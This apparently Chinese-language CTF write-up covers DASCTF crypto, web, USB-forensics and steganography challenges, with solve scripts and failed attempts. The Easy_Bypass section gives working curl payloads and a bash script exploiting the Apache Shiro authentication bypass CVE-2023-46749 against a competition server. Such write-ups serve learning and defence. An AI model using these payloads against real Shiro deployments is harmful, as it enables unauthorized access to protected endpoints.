g = [mpz(0)]
for cc in reversed(Q):
    g = mulmod(g, R1, f1)
    if not g:
        g = [mpz(0)]
    g[0] = (g[0] + cc) % n
print("g degree", len(g) - 1 if g else -1)
 
# gcd(f1, g) over Z_n[x]
def polygcd(a, b):
    a = a[:]; b = b[:]
    while b and any(b):
        # make divisor monic if possible
        lead = b[-1]
        try:
            iv = invert(lead, n)
        except Exception:
            f_ = ggcd(lead, n)
            print("factor found!", f_)
            raise SystemExit
        b = [(x * iv) % n for x in b]
        # a mod b
        r = a[:]
        db = len(b) - 1
        while len(r) - 1 >= db and any(r):
            sh = len(r) - 1 - db
            fac = r[-1]
            if fac == 0:
                r.pop(); continue
            for i in range(db):
                r[i + sh] = (r[i + sh] - fac * b[i]) % n
            r.pop()
        while r and r[-1] == 0:
            r.pop()
        a, b = b, r
    return a
 
d = polygcd(f1, g)
print("gcd degree", len(d) - 1 if d else -1, d if d and len(d) <= 3 else "")
 
if d and len(d) == 2:
    A = (-d[0]) % n  # monic: x + d[0] = 0
    m = pow(int(A), int(e1), int(n))
    print("A =", A)
    print("m bytes:", long_to_bytes(int(m)))

运行:

Bash
pip install gmpy2 pycryptodome
python3 solve.py

输出

Text
gcd degree 1
A = <A1 值>
m bytes: b'DASCTF{J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly}'


9. Easy_Bypass(Web · 100)

Flag: DASCTF{anEasy_CVE_Test}
解法: Apache Shiro 1.9.0 认证绕过 CVE-2023-46749

题面

附件 ShiroCVE-0.0.1-SNAPSHOT.jar(Spring Boot + Apache Shiro 1.9.0)。反编译 jar 后:

  • MyShiroFilterFactoryBean:过滤器链 regex /permit/.* -> MyFilter(RegExPatternMatcher,非默认 Ant 匹配器)。
  • MyFilter(AccessControlFilter):仅当请求头 Token: FAKE_TOKEN 存在时放行,否则输出 access denied。
  • DemoController:@RequestMapping("/permit/{value}") 返回 flag(本地 DASCTF{FAKE_FLAG},线上为真实 flag)。

目标:不携带 Token 到达 /permit/{value},即绕过 Shiro 认证。

漏洞原理(CVE-2023-46749:Shiro < 1.13.0 认证绕过)

Shiro 与 Spring MVC 对同一 URL 的路径解析存在分歧:

组件 取到的路径 处理方式
Shiro PathMatchingFilterChainResolver Tomcat 的 servletPath + pathInfo 先 %xx 解码 + 规范化(//、/./、/../)+ 去分号
Spring MVC(PathPatternParser 模式) RAW requestURI 不 %xx 解码、不规范化 ..,仅去分号内容

请求 GET /permit/..(curl 需 --path-as-is 防止客户端规范化):

  • Tomcat:解码/规范化 /permit/.. → servletPath = / → Shiro 正则 /permit/.* 不匹配 → MyFilter 被跳过;
  • Spring:raw 路径 /permit/.. 段为 [permit, ..],匹配 /permit/{value} → 控制器执行 → 返回 flag。

Shiro 1.13.0 以 opt-in 的 InvalidRequestFilter(拦截 ;、%2e、/..;、/.; 等)修复。

利用

Bash
curl -s --path-as-is http://45.40.247.139:23242/permit/..
# DASCTF{anEasy_CVE_Test}

等价 payload:/permit/%2e%2e、/permit/..;、/permit/%2e%2e;、/permit/%2E%2E。

对照组:

Bash
curl -s http://45.40.247.139:23242/permit/test     # access denied(未绕过)
curl -s --path-as-is http://45.40.247.139:23242/permit%2f..  # 400

脚本

Bash
#!/bin/bash
# Easy_Bypass (DASCTF web) — Apache Shiro 1.9.0 auth bypass (CVE-2023-46749)
#
# Setup:
#   ShiroFilterFactoryBean adds a chain: regex pattern "/permit/.*" -> MyFilter
#   MyFilter requires header "Token: FAKE_TOKEN" (otherwise "access denied")
#   DemoController maps "/permit/{value}" and returns the flag.
#
# Bypass:
#   Shiro's PathMatchingFilterChainResolver computes the path from
#   servletPath+pathInfo (Tomcat DECODED + NORMALIZED).  Requesting "/permit/.."
#   makes Tomcat normalize the servletPath to "/", so the regex "/permit/.*"
#   does NOT match and MyFilter is skipped.
#   Spring MVC (PathPatternParser mode) instead matches against the RAW
#   requestURI "/permit/.." (no normalization, only semicolon removal), which
#   matches "/permit/{value}" -> the controller is invoked and returns the flag.
#
# Works with /permit/..  /permit/%2e%2e  /permit/..;  /permit/%2e%2e;
 
TARGET="${1:-http://45.40.247.139:23242}"
 
echo "[*] Target: $TARGET"
echo "[*] Sending GET /permit/.. (Shiro filter bypass via CVE-2023-46749)..."
FLAG=$(curl -s --path-as-is "$TARGET/permit/..")
echo "[*] Response: $FLAG"
 
if [[ "$FLAG" == DASCTF\{*\} ]]; then
    echo "[+] FLAG: $FLAG"
    INNER="${FLAG#DASCTF\{}"; INNER="${INNER%\}}"
    echo "[+] Inner content: $INNER"
fi

失败尝试

  • /permit;foo/bar、/permit/bar;foo → access denied(Tomcat 在 Shiro 看到 servletPath 前已剥离字面分号路径参数)。
  • /permit%3bfoo/bar → 404(Shiro 被跳过,但 Spring raw 段含 ; 无法路由)。
  • /..;/permit/test → 400(Tomcat 拒绝越出根)。
  • /permit/..;/test → 404(Tomcat 规范化为 /test)。
  • /permit%2fbar → 400(Tomcat 拒绝编码斜杠)。
  • //permit/test、/permit//test、/permit/%74est → access denied(Shiro 规范化 // 与 %xx 后正则仍匹配)。

10. xbox(Web · 100)

Flag: DASCTF{67f69ab190f061c8b475406e9a9c874e}
解法: USBPcap 抓包 → Xbox One 手柄按钮流量 → 去重 → 2 值映射 → ASCII

题面

附件为 Windows USBPcap 抓包(.pcapng),设备为 Microsoft Xbox One 手柄(USB idVendor 0x045e, idProduct 0x02ea)。有效流量为端点 0x82 的 URB_INTERRUPT in 上报流。

报文结构

每个按钮/状态上报(消息类型 0x20)共 18 字节:

Text
20 <cnt_hi> <cnt_lo> 0e <state> 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
  • bytes 1–2:大端序逐包递增序号
  • byte 3:常量 0x0e
  • byte 4:输入状态,取 0x00(松开)、0x10 / 0x20(两个不同按键),是唯一变化的有意义字节
  • bytes 5–17:常量

另有少量 0x03 类型上报(guide/序列号),无按键数据。

解码流程

  1. tshark 提取所有 URB_INTERRUPT payload。
  2. 对 0x20 上报取 byte 4;去掉连续重复值(每个物理按键被重复上报约 3 次)。
  3. 映射 0x10 → 0、0x20 → 1,得 320 bit 流(40 × 8 bit)。
  4. 每 8 bit 转一字节:
Text
01000100 01000001 01010011 01000011 01010100 01000110 01111011 ... 01111101
→ DASCTF{67f69ab190f061c8b475406e9a9c874e}

脚本

Bash
#!/bin/bash
# xbox - DASCTF USB pcap challenge
# Extract Xbox One controller button reports and decode binary flag.
set -e
cd "$(dirname "$0")"
 
PCAP="xbox_extract/xbox2/XBOX.pcapng"
[ -f "$PCAP" ] || {
  unzip -o 2db625a060eca25140846c82bf374fcc.zip -d xbox_extract
  unzip -o "xbox_extract/tempdir/MISC附件/XBOX.zip" -d xbox_extract/xbox2
}
 
# All URB_INTERRUPT frames: frame_no, epoch_time, payload
tshark -r "$PCAP" -Y "usb.transfer_type == 0x01" -T fields \
  -e frame.number -e frame.time_epoch -e usb.capdata 2>/dev/null \
  | awk -F'\t' '$3 != ""' > interrupt_all.txt
 
python3 << 'EOF'
rows = []
with open('interrupt_all.txt') as f:
    for line in f:
        parts = line.rstrip('\n').split('\t')
        if len(parts) == 3 and parts[2]:
            b = bytes.fromhex(parts[2])
            rows.append((float(parts[1]), b[0], b[4]))
 
# byte0 = report type (0x20 button report, 0x03 guide/serial), byte4 = dpad state
# 0x10 -> bit 0, 0x20 -> bit 1 (consecutive repeated packets deduped)
seq, last = [], None
for t, typ, v in rows:
    if typ != 0x20:
        continue
    if v != last:
        if v != 0:
            seq.append(v)
        last = v
 
assert all(v in (0x10, 0x20) for v in seq)
bits = ''.join('0' if v == 0x10 else '1' for v in seq)
assert len(bits) % 8 == 0
flag = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8))
print("DASCTF flag:", flag)
assert flag.startswith("DASCTF{") and flag.endswith("}")
EOF

失败尝试

  • 先假设 XInput 20 字节 Xbox 360 布局 → 检查设备描述符(Xbox One、18 字节报文)+ 逐字节方差分析后修正。
  • 尝试将按键持续时间当 Morse/间隙编码 → 按键时长均匀(~50–150ms),确认编码是“按下的值”(2 符号)而非时序。
  • 不去重直接 8-bit 分组 → 乱码;去重后修复。

11. Happy Adventure(Misc · 200)

Flag: DASCTF{W0w!_Y0u_F1nD_M4!!!}
解法: aCropalypse(CVE-2023-28303)截图恢复 → ZipCrypto 密码 → base64 污染修复 → QR/TimeKey → RAR5 时间戳隐写

题面

Text
Adventure.zip         (ZipCrypto 加密)
First Challenge.png   (1248×564,aCropalypse 污染图)

多层套娃,共 4 层,每层为不同隐写/密码学手法。

第 1 层:First Challenge.png → aCropalypse 恢复截图

分析

  • PNG IEND 之后存在 508,350 字节尾随数据,以 IEND\xaeB\x82结尾,内部 8 个IDAT` 块 CRC 全部有效,是裁剪后留下的截图残留(aCropalypse/CVE-2023-28303:Windows 截图工具裁剪后不截断文件)。
  • 隐藏 PNG 应为 2560×1440 全屏截图,其头部 ~27.8KB 被破坏(zlib 流起点丢失)。

恢复方法

  1. deflate 块扫描:在完好 IDAT 中搜索自描述动态 Huffman 块起点(约束极强),流 bit 347064(字节 43383)起存在有效块。
  2. 预填 32KB 窗口完整 inflate:中间块的 LZ77 窗口引用被毁区输出,预填虚拟窗口后前 32KB 输出可能错、之后全部正确。
  3. 解出 13.4MB 扫描线,几何匹配 2560 宽 RGBA(1313 行完整),即截图的下半部分。
  4. PNG 反滤波(全部 filter 0),丢弃全 0 alpha 渲染 RGB → clean.png(2560×1309)。

截图内容(OCR + 用户肉眼确认)

  • 记事本:“密钥等于CVE编号”(关键提示)
  • 浏览器:CSDN 文章《CVE-2023-28303(截图漏洞)》(提示 aCropalypse 手法)
  • VSCode:Python/tkinter “Select Tool” 代码
  • tkinter 窗口:识别困难

结论:第 1 层密码 = CVE-2023-28303。

第 2 层:Adventure.zip(密码 CVE-2023-28303)

文件 内容
Readme.txt “小李在地下室寻找到了一台尘封已久的电脑,你能帮他找到开机秘钥吗”
whatsthis.txt 4,504 字节 base64 文本(损坏 PNG)
wow.png 198×198 QR 码
Secret time.zip ZipCrypto 加密

whatsthis.txt 修复(“Zss010C3 is the obstacle”)

whatsthis.txt 为 base64 编码 PNG,两处损坏:

  1. 头部被截:缺 iVBORw0K(PNG 签名 \x89PNG\r\n 的 base64)8 字符。
  2. 插入污染:字符串 Zss010C3 在 base64 文本中被插入 8 次(位置 370/1102/2040/2837/3481/3694/3882/4031)。

wow.png 的 IEND 之后直接给出提示:

Text
why you find it?
Zss010C3 is the obstacle

修复:删除全部 8 处 Zss010C3 + 补头 iVBORw0K → whatsthis_fixed.png(240×97 RGBA),所有 chunk CRC 通过,zlib 解压 93,217 字节 = 完整 97 行。

修复后图像三行文字(ASCII 逐行精读):

Text
NOOOOOO!!!!!
YOU FIND Timekey
2144483000

wow.png(QR)

Text
Sorry,TimeKey has been hiden by me ,and you never get it!!!  ---Vicious Alpha.ext

结论:第 2 层密码 = 2144483000(“TimeKey”)。

第 3 层:Secret time.zip(密码 2144483000)

文件 内容
Readme.txt “小李在这台古老的电脑中发现了一些崭新的文件,请你来帮他寻找其中的秘密吧”
DontReadme.txt nothing,believe me(干扰项)
+iͥ.rar 文件名含组合变音符(GBK 解码为 日誌.rar,即“日志”),RAR5,未加密

内含 21 个日志文件:

  • 日志0.txt – 日志6.txt:非空(1–7KB),内容为 phpstudy Apache 2.4.39 (Win64) 常规启动日志(AH00098/455/456/094/418/354 六类消息),无 flag 字样 → 幌子。
  • 日志7.txt – 日志20.txt:全部 0 字节,但 mtime=ctime=atime 全部为未来时间 2037-12-15 17:43:08 ~ 17:45:23(各文件秒级不同)→ 疑似时间戳隐写。

第 4 层:RAR5 时间戳隐写(最终解)

手写 RAR5 解析器(关键突破口)

标准解析失败后手写解析器,发现该 RAR 由非标准工具生成:

  • 文件头正文缺 mtime 字段(头长度核算:35 正文 + 27 扩展区 = 62 字节吻合)。
  • 时间全部在 htIME 扩展记录(type 0x03),FILETIME 以原始 8 字节小端存储(非 vint):26 = 1类型 + 1标志 + 3×8 字节吻合。
  • 全 6,231 字节解析干净,无附加数据。

关键洞察

上一层密码 2144483000 本身就是 Unix 时间戳 = 2037-12-15 17:43:20,正是空文件“未来日期”的基准点。

解码

每个日志文件的 2037 时间戳(0–6 号取 ctime,7–20 号取 mtime)转 Unix 后减去基准 2144483000,秒偏移即 ASCII,按文件号 0→20 读出:

文件 unix 偏移 ASCII 文件 unix 偏移 ASCII
日志0 2144483123 123 { 日志11 2144483049 49 1
日志1 2144483087 87 W 日志12 2144483110 110 n
日志2 2144483048 48 0 日志13 2144483068 68 D
日志3 2144483119 119 w 日志14 2144483095 95 _
日志4 2144483033 33 ! 日志15 2144483077 77 M
日志5 2144483095 95 _ 日志16 2144483052 52 4
日志6 2144483089 89 Y 日志17 2144483033 33 !
日志7 2144483048 48 0 日志18 2144483033 33 !
日志8 2144483117 117 u 日志19 2144483033 33 !
日志9 2144483095 95 _ 日志20 2144483125 125 }
日志10 2144483070 70 F

FLAG:{W0w!_Y0u_F1nD_M4!!!}

(“时间戳重合”现象即重复字符:日志2=7(0)、5=9=14(_)、4=17=18=19(!!!)。)

全链路总结

层 载体 手段 产出
1 First Challenge.png aCropalypse 尾数据 + deflate 块扫描恢复截图 密钥提示 → CVE-2023-28303
2 Adventure.zip 解压;whatsthis.txt 修复(补 iVBORw0K 头 + 删 8 处 Zss010C3 插入) TimeKey 2144483000
3 Secret time.zip +iͥ.rar(GBK 名“日志”) 21 个日志文件
4 日志0-20 RAR5 htIME 时间戳 − Unix 基准 2144483000 → ASCII {W0w!_Y0u_F1nD_M4!!!}

失败尝试(过程记录)

  • 对 whatsthis.png 污染区做 XOR/RC4(Zss010C3 当密钥),失败,因污染为插入型而非替换型。
  • 有状态 deflate 重连解码(符号边界保存 Huffman 状态、尝试尾部重连),污染区掩盖真实边界,最终发现垃圾区与原始流关系无解,转而检查 base64 层。
  • bkcrack 明文攻击内层 Readme(外层 Readme 93B 作前缀),动态 Huffman 表使 deflate 前缀不同,失败。
  • Zss010C3 当 PRNG 种子(Python random),失败。
  • 大图 alpha 通道隐写,alpha 为噪点,排除;wow.png LSB 隐写,无。

评论

评论加载中…